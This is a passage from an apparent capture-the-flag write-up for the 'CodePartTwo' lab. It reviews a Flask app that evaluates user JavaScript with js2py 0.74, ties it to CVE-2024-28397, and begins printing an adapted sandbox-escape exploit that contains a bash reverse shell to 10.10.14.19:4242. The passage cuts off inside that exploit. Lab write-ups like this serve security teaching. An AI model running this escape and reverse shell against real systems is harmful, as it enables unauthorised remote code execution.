&lt;p&gt;The SSH server is configured with some old and insecure algorithms. This can be assessed by &lt;code&gt;ssh-audit&lt;/code&gt; however this isn’t a particularly relevant finding initially. However this is still report worthy. This also suggests an Ubuntu environment.&lt;/p&gt;
&lt;pre class=&quot;giallo z-l-code z-d-code&quot; &gt;&lt;code data-lang=&quot;shellscript&quot;&gt;&lt;span class=&quot;giallo-l&quot;&gt;&lt;span class=&quot;z-l-1 z-d-1&quot;&gt;┌──(akses㉿kali&lt;/span&gt;&lt;span&gt;)-&lt;/span&gt;&lt;span&gt;[&lt;/span&gt;&lt;span&gt;~/htb/codeparttwo&lt;/span&gt;&lt;span&gt;]&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span class=&quot;z-l-1 z-d-1&quot;&gt;└─$&lt;/span&gt;&lt;span class=&quot;z-l-2 z-d-2&quot;&gt; ssh-audit&lt;/span&gt;&lt;span class=&quot;z-l-2 z-d-2&quot;&gt; codeparttwo&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span class=&quot;z-l-6 z-l-i z-d-3 z-d-i&quot;&gt;#&lt;/span&gt;&lt;span class=&quot;z-l-6 z-l-i z-d-3 z-d-i&quot;&gt; general&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;(&lt;/span&gt;&lt;span class=&quot;z-l-1 z-d-1&quot;&gt;gen&lt;/span&gt;&lt;span&gt;)&lt;/span&gt;&lt;span class=&quot;z-l-1 z-d-1&quot;&gt; banner:&lt;/span&gt;&lt;span class=&quot;z-l-2 z-d-2&quot;&gt; SSH-2.0-OpenSSH_8.2p1&lt;/span&gt;&lt;span class=&quot;z-l-2 z-d-2&quot;&gt; Ubuntu-4ubuntu0.13&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;(&lt;/span&gt;&lt;span class=&quot;z-l-1 z-d-1&quot;&gt;gen&lt;/span&gt;&lt;span&gt;)&lt;/span&gt;&lt;span class=&quot;z-l-1 z-d-1&quot;&gt; software:&lt;/span&gt;&lt;span class=&quot;z-l-2 z-d-2&quot;&gt; OpenSSH&lt;/span&gt;&lt;span class=&quot;z-l-2 z-d-2&quot;&gt; 8.2p1&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span class=&quot;z-l-5 z-d-5&quot;&gt;&amp;lt;&lt;/span&gt;&lt;span&gt;SNIP&lt;/span&gt;&lt;span class=&quot;z-l-5 z-d-5&quot;&gt;&amp;gt;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span class=&quot;z-l-6 z-l-i z-d-3 z-d-i&quot;&gt;#&lt;/span&gt;&lt;span class=&quot;z-l-6 z-l-i z-d-3 z-d-i&quot;&gt; algorithm recommendations (for OpenSSH 8.2)&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;(&lt;/span&gt;&lt;span class=&quot;z-l-1 z-d-1&quot;&gt;rec&lt;/span&gt;&lt;span&gt;)&lt;/span&gt;&lt;span class=&quot;z-l-1 z-d-1&quot;&gt; -ecdh-sha2-nistp256&lt;/span&gt;&lt;span class=&quot;z-l-8 z-d-8&quot;&gt;                   -&lt;/span&gt;&lt;span class=&quot;z-l-8 z-d-8&quot;&gt;-&lt;/span&gt;&lt;span class=&quot;z-l-2 z-d-2&quot;&gt; kex&lt;/span&gt;&lt;span class=&quot;z-l-2 z-d-2&quot;&gt; algorithm&lt;/span&gt;&lt;span class=&quot;z-l-2 z-d-2&quot;&gt; to&lt;/span&gt;&lt;span class=&quot;z-l-2 z-d-2&quot;&gt; remove&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;(&lt;/span&gt;&lt;span class=&quot;z-l-1 z-d-1&quot;&gt;rec&lt;/span&gt;&lt;span&gt;)&lt;/span&gt;&lt;span class=&quot;z-l-1 z-d-1&quot;&gt; -ecdh-sha2-nistp384&lt;/span&gt;&lt;span class=&quot;z-l-8 z-d-8&quot;&gt;                   -&lt;/span&gt;&lt;span class=&quot;z-l-8 z-d-8&quot;&gt;-&lt;/span&gt;&lt;span class=&quot;z-l-2 z-d-2&quot;&gt; kex&lt;/span&gt;&lt;span class=&quot;z-l-2 z-d-2&quot;&gt; algorithm&lt;/span&gt;&lt;span class=&quot;z-l-2 z-d-2&quot;&gt; to&lt;/span&gt;&lt;span class=&quot;z-l-2 z-d-2&quot;&gt; remove&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;(&lt;/span&gt;&lt;span class=&quot;z-l-1 z-d-1&quot;&gt;rec&lt;/span&gt;&lt;span&gt;)&lt;/span&gt;&lt;span class=&quot;z-l-1 z-d-1&quot;&gt; -ecdh-sha2-nistp521&lt;/span&gt;&lt;span class=&quot;z-l-8 z-d-8&quot;&gt;                   -&lt;/span&gt;&lt;span class=&quot;z-l-8 z-d-8&quot;&gt;-&lt;/span&gt;&lt;span class=&quot;z-l-2 z-d-2&quot;&gt; kex&lt;/span&gt;&lt;span class=&quot;z-l-2 z-d-2&quot;&gt; algorithm&lt;/span&gt;&lt;span class=&quot;z-l-2 z-d-2&quot;&gt; to&lt;/span&gt;&lt;span class=&quot;z-l-2 z-d-2&quot;&gt; remove&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;(&lt;/span&gt;&lt;span class=&quot;z-l-1 z-d-1&quot;&gt;rec&lt;/span&gt;&lt;span&gt;)&lt;/span&gt;&lt;span class=&quot;z-l-1 z-d-1&quot;&gt; -ecdsa-sha2-nistp256&lt;/span&gt;&lt;span class=&quot;z-l-8 z-d-8&quot;&gt;                  -&lt;/span&gt;&lt;span class=&quot;z-l-8 z-d-8&quot;&gt;-&lt;/span&gt;&lt;span class=&quot;z-l-2 z-d-2&quot;&gt; key&lt;/span&gt;&lt;span class=&quot;z-l-2 z-d-2&quot;&gt; algorithm&lt;/span&gt;&lt;span class=&quot;z-l-2 z-d-2&quot;&gt; to&lt;/span&gt;&lt;span class=&quot;z-l-2 z-d-2&quot;&gt; remove&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;(&lt;/span&gt;&lt;span class=&quot;z-l-1 z-d-1&quot;&gt;rec&lt;/span&gt;&lt;span&gt;)&lt;/span&gt;&lt;span class=&quot;z-l-1 z-d-1&quot;&gt; -hmac-sha1&lt;/span&gt;&lt;span class=&quot;z-l-8 z-d-8&quot;&gt;                            -&lt;/span&gt;&lt;span class=&quot;z-l-8 z-d-8&quot;&gt;-&lt;/span&gt;&lt;span class=&quot;z-l-2 z-d-2&quot;&gt; mac&lt;/span&gt;&lt;span class=&quot;z-l-2 z-d-2&quot;&gt; algorithm&lt;/span&gt;&lt;span class=&quot;z-l-2 z-d-2&quot;&gt; to&lt;/span&gt;&lt;span class=&quot;z-l-2 z-d-2&quot;&gt; remove&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span class=&quot;z-l-5 z-d-5&quot;&gt;&amp;lt;&lt;/span&gt;&lt;span&gt;SNIP&lt;/span&gt;&lt;span class=&quot;z-l-5 z-d-5&quot;&gt;&amp;gt;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;h3 id=&quot;port-8000-http-gunicorn-20-0-4&quot;&gt;Port 8000 (HTTP - Gunicorn/20.0.4)&lt;/h3&gt;
&lt;p&gt;The web application running on port 8000 does look promising for exploitation, a registered user can simply run arbitrary javascript in the browser. The source code for the website is also freely available for download.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://trapdoorsec.com/ctf-writeups/code-part-2/codeparttwo-port-8000.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;h3 id=&quot;source-code-analysis&quot;&gt;Source code analysis&lt;/h3&gt;
&lt;p&gt;By parsing the requirements.txt in the source supplied we find a flask 3.0.3 application and an app secret in the source code:&lt;/p&gt;
&lt;p&gt;&lt;em&gt;app.py&lt;/em&gt;&lt;/p&gt;
&lt;pre class=&quot;giallo z-l-code z-d-code&quot; &gt;&lt;code data-lang=&quot;python&quot;&gt;&lt;span class=&quot;giallo-l&quot;&gt;&lt;span class=&quot;z-l-5 z-d-5&quot;&gt;from&lt;/span&gt;&lt;span&gt; flask&lt;/span&gt;&lt;span class=&quot;z-l-5 z-d-5&quot;&gt; import&lt;/span&gt;&lt;span&gt; Flask&lt;/span&gt;&lt;span&gt;,&lt;/span&gt;&lt;span&gt; render_template&lt;/span&gt;&lt;span&gt;,&lt;/span&gt;&lt;span&gt; request&lt;/span&gt;&lt;span&gt;,&lt;/span&gt;&lt;span&gt; redirect&lt;/span&gt;&lt;span&gt;,&lt;/span&gt;&lt;span&gt; url_for&lt;/span&gt;&lt;span&gt;,&lt;/span&gt;&lt;span&gt; session&lt;/span&gt;&lt;span&gt;,&lt;/span&gt;&lt;span&gt; jsonify&lt;/span&gt;&lt;span&gt;,&lt;/span&gt;&lt;span&gt; send_from_directory&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span class=&quot;z-l-5 z-d-5&quot;&gt;from&lt;/span&gt;&lt;span&gt; flask_sqlalchemy&lt;/span&gt;&lt;span class=&quot;z-l-5 z-d-5&quot;&gt; import&lt;/span&gt;&lt;span&gt; SQLAlchemy&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span class=&quot;z-l-5 z-d-5&quot;&gt;import&lt;/span&gt;&lt;span&gt; hashlib&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span class=&quot;z-l-5 z-d-5&quot;&gt;import&lt;/span&gt;&lt;span&gt; js2py&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span class=&quot;z-l-5 z-d-5&quot;&gt;import&lt;/span&gt;&lt;span&gt; os&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span class=&quot;z-l-5 z-d-5&quot;&gt;import&lt;/span&gt;&lt;span&gt; json&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;js2py&lt;/span&gt;&lt;span&gt;.&lt;/span&gt;&lt;span&gt;disable_pyimport&lt;/span&gt;&lt;span&gt;(&lt;/span&gt;&lt;span&gt;)&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;app&lt;/span&gt;&lt;span class=&quot;z-l-5 z-d-5&quot;&gt; =&lt;/span&gt;&lt;span&gt; Flask&lt;/span&gt;&lt;span&gt;(&lt;/span&gt;&lt;span&gt;__name__&lt;/span&gt;&lt;span&gt;)&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;app&lt;/span&gt;&lt;span&gt;.&lt;/span&gt;&lt;span&gt;secret_key&lt;/span&gt;&lt;span class=&quot;z-l-5 z-d-5&quot;&gt; =&lt;/span&gt;&lt;span class=&quot;z-l-2 z-d-2&quot;&gt; &amp;#39;&lt;/span&gt;&lt;span class=&quot;z-l-2 z-d-2&quot;&gt;S3cr3tK3yC0d3PartTw0&lt;/span&gt;&lt;span class=&quot;z-l-2 z-d-2&quot;&gt;&amp;#39;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;app&lt;/span&gt;&lt;span&gt;.&lt;/span&gt;&lt;span&gt;config&lt;/span&gt;&lt;span&gt;[&lt;/span&gt;&lt;span class=&quot;z-l-2 z-d-2&quot;&gt;&amp;#39;&lt;/span&gt;&lt;span class=&quot;z-l-2 z-d-2&quot;&gt;SQLALCHEMY_DATABASE_URI&lt;/span&gt;&lt;span class=&quot;z-l-2 z-d-2&quot;&gt;&amp;#39;&lt;/span&gt;&lt;span&gt;]&lt;/span&gt;&lt;span class=&quot;z-l-5 z-d-5&quot;&gt; =&lt;/span&gt;&lt;span class=&quot;z-l-2 z-d-2&quot;&gt; &amp;#39;&lt;/span&gt;&lt;span class=&quot;z-l-2 z-d-2&quot;&gt;sqlite:///users.db&lt;/span&gt;&lt;span class=&quot;z-l-2 z-d-2&quot;&gt;&amp;#39;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;app&lt;/span&gt;&lt;span&gt;.&lt;/span&gt;&lt;span&gt;config&lt;/span&gt;&lt;span&gt;[&lt;/span&gt;&lt;span class=&quot;z-l-2 z-d-2&quot;&gt;&amp;#39;&lt;/span&gt;&lt;span class=&quot;z-l-2 z-d-2&quot;&gt;SQLALCHEMY_TRACK_MODIFICATIONS&lt;/span&gt;&lt;span class=&quot;z-l-2 z-d-2&quot;&gt;&amp;#39;&lt;/span&gt;&lt;span&gt;]&lt;/span&gt;&lt;span class=&quot;z-l-5 z-d-5&quot;&gt; =&lt;/span&gt;&lt;span class=&quot;z-l-7 z-d-7&quot;&gt; False&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;db&lt;/span&gt;&lt;span class=&quot;z-l-5 z-d-5&quot;&gt; =&lt;/span&gt;&lt;span&gt; SQLAlchemy&lt;/span&gt;&lt;span&gt;(&lt;/span&gt;&lt;span&gt;app&lt;/span&gt;&lt;span&gt;)&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;We can also observe that the code that runs when the ‘Run Code’ button is pressed, appears to use &lt;code&gt;js2py v0.74&lt;/code&gt; to handle the javascript evaluation via python, executing it server side, and finally bringing back the result as the HTTP response.&lt;/p&gt;
&lt;p&gt;This input is largely unsanitized both in and out of the application, giving us rise to consider server side command execution vulnerabilities. XSS is a consideration, although that is complicated by the fact that the result is converted to JSON first.&lt;/p&gt;
&lt;p&gt;Since the version of &lt;code&gt;js2py&lt;/code&gt; is reported as 0.74 in &lt;code&gt;requirements.txt&lt;/code&gt; it is possible that this code is vulnerable to &lt;a rel=&quot;external&quot; href=&quot;https://nvd.nist.gov/vuln/detail/CVE-2024-28397&quot;&gt;CVE-2024-28397&lt;/a&gt; - a sanbox escape. This weakness is well-known and best described by &lt;a rel=&quot;external&quot; href=&quot;https://cwe.mitre.org/data/definitions/94.html&quot;&gt;CWE-94: Insecure Control of Code Generation&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;&lt;em&gt;The offending code defining the /run_code route in app.py&lt;/em&gt;&lt;/p&gt;
&lt;pre class=&quot;giallo z-l-code z-d-code&quot; &gt;&lt;code data-lang=&quot;python&quot;&gt;&lt;span class=&quot;giallo-l&quot;&gt;&lt;span class=&quot;z-l-1 z-d-1&quot;&gt;@&lt;/span&gt;&lt;span class=&quot;z-l-1 z-d-1&quot;&gt;app&lt;/span&gt;&lt;span class=&quot;z-l-1 z-d-1&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;z-l-1 z-d-1&quot;&gt;route&lt;/span&gt;&lt;span&gt;(&lt;/span&gt;&lt;span class=&quot;z-l-2 z-d-2&quot;&gt;&amp;#39;&lt;/span&gt;&lt;span class=&quot;z-l-2 z-d-2&quot;&gt;/run_code&lt;/span&gt;&lt;span class=&quot;z-l-2 z-d-2&quot;&gt;&amp;#39;&lt;/span&gt;&lt;span&gt;,&lt;/span&gt;&lt;span&gt; methods&lt;/span&gt;&lt;span class=&quot;z-l-5 z-d-5&quot;&gt;=&lt;/span&gt;&lt;span&gt;[&lt;/span&gt;&lt;span class=&quot;z-l-2 z-d-2&quot;&gt;&amp;#39;&lt;/span&gt;&lt;span class=&quot;z-l-2 z-d-2&quot;&gt;POST&lt;/span&gt;&lt;span class=&quot;z-l-2 z-d-2&quot;&gt;&amp;#39;&lt;/span&gt;&lt;span&gt;]&lt;/span&gt;&lt;span&gt;)&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span class=&quot;z-l-3 z-l-b z-d-6 z-d-b&quot;&gt;def&lt;/span&gt;&lt;span class=&quot;z-l-1 z-d-1&quot;&gt; run_code&lt;/span&gt;&lt;span&gt;(&lt;/span&gt;&lt;span&gt;)&lt;/span&gt;&lt;span&gt;:&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span class=&quot;z-l-5 z-d-5&quot;&gt;    try&lt;/span&gt;&lt;span&gt;:&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;        code&lt;/span&gt;&lt;span class=&quot;z-l-5 z-d-5&quot;&gt; =&lt;/span&gt;&lt;span&gt; request&lt;/span&gt;&lt;span&gt;.&lt;/span&gt;&lt;span&gt;json&lt;/span&gt;&lt;span&gt;.&lt;/span&gt;&lt;span&gt;get&lt;/span&gt;&lt;span&gt;(&lt;/span&gt;&lt;span class=&quot;z-l-2 z-d-2&quot;&gt;&amp;#39;&lt;/span&gt;&lt;span class=&quot;z-l-2 z-d-2&quot;&gt;code&lt;/span&gt;&lt;span class=&quot;z-l-2 z-d-2&quot;&gt;&amp;#39;&lt;/span&gt;&lt;span&gt;)&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;        result&lt;/span&gt;&lt;span class=&quot;z-l-5 z-d-5&quot;&gt; =&lt;/span&gt;&lt;span&gt; js2py&lt;/span&gt;&lt;span&gt;.&lt;/span&gt;&lt;span&gt;eval_js&lt;/span&gt;&lt;span&gt;(&lt;/span&gt;&lt;span&gt;code&lt;/span&gt;&lt;span&gt;)&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span class=&quot;z-l-5 z-d-5&quot;&gt;        return&lt;/span&gt;&lt;span&gt; jsonify&lt;/span&gt;&lt;span&gt;(&lt;/span&gt;&lt;span&gt;{&lt;/span&gt;&lt;span class=&quot;z-l-2 z-d-2&quot;&gt;&amp;#39;&lt;/span&gt;&lt;span class=&quot;z-l-2 z-d-2&quot;&gt;result&lt;/span&gt;&lt;span class=&quot;z-l-2 z-d-2&quot;&gt;&amp;#39;&lt;/span&gt;&lt;span&gt;:&lt;/span&gt;&lt;span&gt; result&lt;/span&gt;&lt;span&gt;}&lt;/span&gt;&lt;span&gt;)&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span class=&quot;z-l-5 z-d-5&quot;&gt;    except&lt;/span&gt;&lt;span class=&quot;z-l-8 z-d-8&quot;&gt; Exception&lt;/span&gt;&lt;span class=&quot;z-l-5 z-d-5&quot;&gt; as&lt;/span&gt;&lt;span&gt; e&lt;/span&gt;&lt;span&gt;:&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span class=&quot;z-l-5 z-d-5&quot;&gt;        return&lt;/span&gt;&lt;span&gt; jsonify&lt;/span&gt;&lt;span&gt;(&lt;/span&gt;&lt;span&gt;{&lt;/span&gt;&lt;span class=&quot;z-l-2 z-d-2&quot;&gt;&amp;#39;&lt;/span&gt;&lt;span class=&quot;z-l-2 z-d-2&quot;&gt;error&lt;/span&gt;&lt;span class=&quot;z-l-2 z-d-2&quot;&gt;&amp;#39;&lt;/span&gt;&lt;span&gt;:&lt;/span&gt;&lt;span class=&quot;z-l-5 z-d-5&quot;&gt; str&lt;/span&gt;&lt;span&gt;(&lt;/span&gt;&lt;span&gt;e&lt;/span&gt;&lt;span&gt;)&lt;/span&gt;&lt;span&gt;}&lt;/span&gt;&lt;span&gt;)&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;h2 id=&quot;foothold-app-user&quot;&gt;Foothold - app user&lt;/h2&gt;
&lt;p&gt;There is a publicly available exploit example on &lt;a rel=&quot;external&quot; href=&quot;https://github.com/releaseown/exploit-js2py/blob/11203e63de577d251271b25911ffdff5cdf050c4/exploit_js2py.php#L108&quot;&gt;github&lt;/a&gt; that we can modify and use to gain a foothold on the webserver. We don’t need the PHP wrapper to execute this since we have the websites JS sandbox at our disposal. By modifying the first line we can cause the webserver to attempt to pipe a bash shells input and output to our machine at &lt;code&gt;10.10.14.19:4242&lt;/code&gt;. This script uses the fact that &lt;code&gt;js2py&lt;/code&gt; versions up to &lt;code&gt;0.74&lt;/code&gt; would inadvertantly allow the running code to read into the python &lt;code&gt;subprocess&lt;/code&gt; library and execute the &lt;code&gt;Popen&lt;/code&gt; command. It does this under the same privilege as the user running the website.&lt;/p&gt;
&lt;p&gt;&lt;em&gt;exploit.js&lt;/em&gt;&lt;/p&gt;
&lt;pre class=&quot;giallo z-l-code z-d-code&quot; &gt;&lt;code data-lang=&quot;javascript&quot;&gt;&lt;span class=&quot;giallo-l&quot;&gt;&lt;span class=&quot;z-l-3 z-l-b z-d-6 z-d-b&quot;&gt;let&lt;/span&gt;&lt;span class=&quot;z-l-1 z-d-1&quot;&gt; command&lt;/span&gt;&lt;span class=&quot;z-l-5 z-d-5&quot;&gt; =&lt;/span&gt;&lt;span class=&quot;z-l-2 z-d-2&quot;&gt; &amp;quot;&lt;/span&gt;&lt;span class=&quot;z-l-2 z-d-2&quot;&gt;bash -c &amp;#39;bash -i &amp;gt;&amp;amp; /dev/tcp/10.10.14.19/4242 0&amp;gt;&amp;amp;1&amp;#39;&lt;/span&gt;&lt;span class=&quot;z-l-2 z-d-2&quot;&gt;&amp;quot;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span class=&quot;z-l-3 z-l-b z-d-6 z-d-b&quot;&gt;let&lt;/span&gt;&lt;span class=&quot;z-l-1 z-d-1&quot;&gt; hacked&lt;/span&gt;&lt;span&gt;,&lt;/span&gt;&lt;span class=&quot;z-l-1 z-d-1&quot;&gt; byakses&lt;/span&gt;&lt;span&gt;,&lt;/span&gt;&lt;span class=&quot;z-l-1 z-d-1&quot;&gt; n11&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span class=&quot;z-l-3 z-l-b z-d-6 z-d-b&quot;&gt;let&lt;/span&gt;&lt;span class=&quot;z-l-1 z-d-1&quot;&gt; getattr&lt;/span&gt;&lt;span&gt;,&lt;/span&gt;&lt;span class=&quot;z-l-1 z-d-1&quot;&gt; obj&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span class=&quot;z-l-1 z-d-1&quot;&gt;base&lt;/span&gt;&lt;span class=&quot;z-l-5 z-d-5&quot;&gt; =&lt;/span&gt;&lt;span class=&quot;z-l-2 z-d-2&quot;&gt; &amp;#39;&lt;/span&gt;&lt;span class=&quot;z-l-2 z-d-2&quot;&gt;__base__&lt;/span&gt;&lt;span class=&quot;z-l-2 z-d-2&quot;&gt;&amp;#39;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span class=&quot;z-l-1 z-d-1&quot;&gt;getattribute&lt;/span&gt;&lt;span class=&quot;z-l-5 z-d-5&quot;&gt; =&lt;/span&gt;&lt;span class=&quot;z-l-2 z-d-2&quot;&gt; &amp;#39;&lt;/span&gt;&lt;span class=&quot;z-l-2 z-d-2&quot;&gt;__getattribute__&lt;/span&gt;&lt;span class=&quot;z-l-2 z-d-2&quot;&gt;&amp;#39;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span class=&quot;z-l-1 z-d-1&quot;&gt;hacked&lt;/span&gt;&lt;span class=&quot;z-l-5 z-d-5&quot;&gt; =&lt;/span&gt;&lt;span class=&quot;z-l-1 z-d-1&quot;&gt; Object&lt;/span&gt;&lt;span&gt;.&lt;/span&gt;&lt;span class=&quot;z-l-1 z-d-1&quot;&gt;getOwnPropertyNames&lt;/span&gt;&lt;span&gt;(&lt;/span&gt;&lt;span&gt;{&lt;/span&gt;&lt;span&gt;}&lt;/span&gt;&lt;span&gt;)&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span class=&quot;z-l-1 z-d-1&quot;&gt;byakses&lt;/span&gt;&lt;span class=&quot;z-l-5 z-d-5&quot;&gt; =&lt;/span&gt;&lt;span class=&quot;z-l-1 z-d-1&quot;&gt; hacked&lt;/span&gt;&lt;span&gt;[&lt;/span&gt;&lt;span class=&quot;z-l-1 z-d-1&quot;&gt;getattribute&lt;/span&gt;&lt;span&gt;]&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span class=&quot;z-l-1 z-d-1&quot;&gt;n11&lt;/span&gt;&lt;span class=&quot;z-l-5 z-d-5&quot;&gt; =&lt;/span&gt;&lt;span class=&quot;z-l-1 z-d-1&quot;&gt; byakses&lt;/span&gt;&lt;span&gt;(&lt;/span&gt;&lt;span class=&quot;z-l-2 z-d-2&quot;&gt;&amp;quot;&lt;/span&gt;&lt;span class=&quot;z-l-2 z-d-2&quot;&gt;__getattribute__&lt;/span&gt;&lt;span class=&quot;z-l-2 z-d-2&quot;&gt;&amp;quot;&lt;/span&gt;&lt;span&gt;)&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span class=&quot;z-l-1 z-d-1&quot;&gt;obj&lt;/span&gt;&lt;span class=&quot;z-l-5 z-d-5&quot;&gt; =&lt;/span&gt;&lt;span class=&quot;z-l-1 z-d-1&quot;&gt; n11&lt;/span&gt;&lt;span&gt;(&lt;/span&gt;&lt;span class=&quot;z-l-2 z-d-2&quot;&gt;&amp;quot;&lt;/span&gt;&lt;span class=&quot;z-l-2 z-d-2&quot;&gt;__class__&lt;/span&gt;&lt;span class=&quot;z-l-2 z-d-2&quot;&gt;&amp;quot;&lt;/span&gt;&lt;span&gt;)&lt;/span&gt;&lt;span&gt;[&lt;/span&gt;&lt;span class=&quot;z-l-1 z-d-1&quot;&gt;base&lt;/span&gt;&lt;span&gt;]&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span class=&quot;z-l-1 z-d-1&quot;&gt;getattr&lt;/span&gt;&lt;span class=&quot;z-l-5 z-d-5&quot;&gt; =&lt;/span&gt;&lt;span class=&quot;z-l-1 z-d-1&quot;&gt; obj&lt;/span&gt;&lt;span&gt;[&lt;/span&gt;&lt;span class=&quot;z-l-1 z-d-1&quot;&gt;getattribute&lt;/span&gt;&lt;span&gt;]&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span class=&quot;z-l-1 z-d-1&quot;&gt;sub_class&lt;/span&gt;&lt;span class=&quot;z-l-5 z-d-5&quot;&gt; =&lt;/span&gt;&lt;span class=&quot;z-l-2 z-d-2&quot;&gt; &amp;#39;&lt;/span&gt;&lt;span class=&quot;z-l-2 z-d-2&quot;&gt;__subclasses__&lt;/span&gt;&lt;span class=&quot;z-l-2 z-d-2&quot;&gt;&amp;#39;&lt;/span&gt;&lt;span&gt;;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span class=&quot;z-l-3 z-l-b z-d-6 z-d-b&quot;&gt;function&lt;/span&gt;&lt;span class=&quot;z-l-1 z-d-1&quot;&gt; findpopen&lt;/span&gt;&lt;span&gt;(&lt;/span&gt;&lt;span&gt;o&lt;/span&gt;&lt;span&gt;)&lt;/span&gt;&lt;span&gt; {&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span class=&quot;z-l-3 z-l-b z-d-6 z-d-b&quot;&gt;    let&lt;/span&gt;&lt;span class=&quot;z-l-1 z-d-1&quot;&gt; result&lt;/span&gt;&lt;span&gt;;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span class=&quot;z-l-5 z-d-5&quot;&gt;    for&lt;/span&gt;&lt;span&gt;(&lt;/span&gt;&lt;span class=&quot;z-l-3 z-l-b z-d-6 z-d-b&quot;&gt;let&lt;/span&gt;&lt;span class=&quot;z-l-1 z-d-1&quot;&gt; i&lt;/span&gt;&lt;span class=&quot;z-l-5 z-d-5&quot;&gt; in&lt;/span&gt;&lt;span class=&quot;z-l-1 z-d-1&quot;&gt; o&lt;/span&gt;&lt;span&gt;[&lt;/span&gt;&lt;span class=&quot;z-l-1 z-d-1&quot;&gt;sub_class&lt;/span&gt;&lt;span&gt;]&lt;/span&gt;&lt;span&gt;(&lt;/span&gt;&lt;span&gt;)&lt;/span&gt;&lt;span&gt;)&lt;/span&gt;&lt;span&gt; {&lt;/span&gt;&lt;/span&gt;
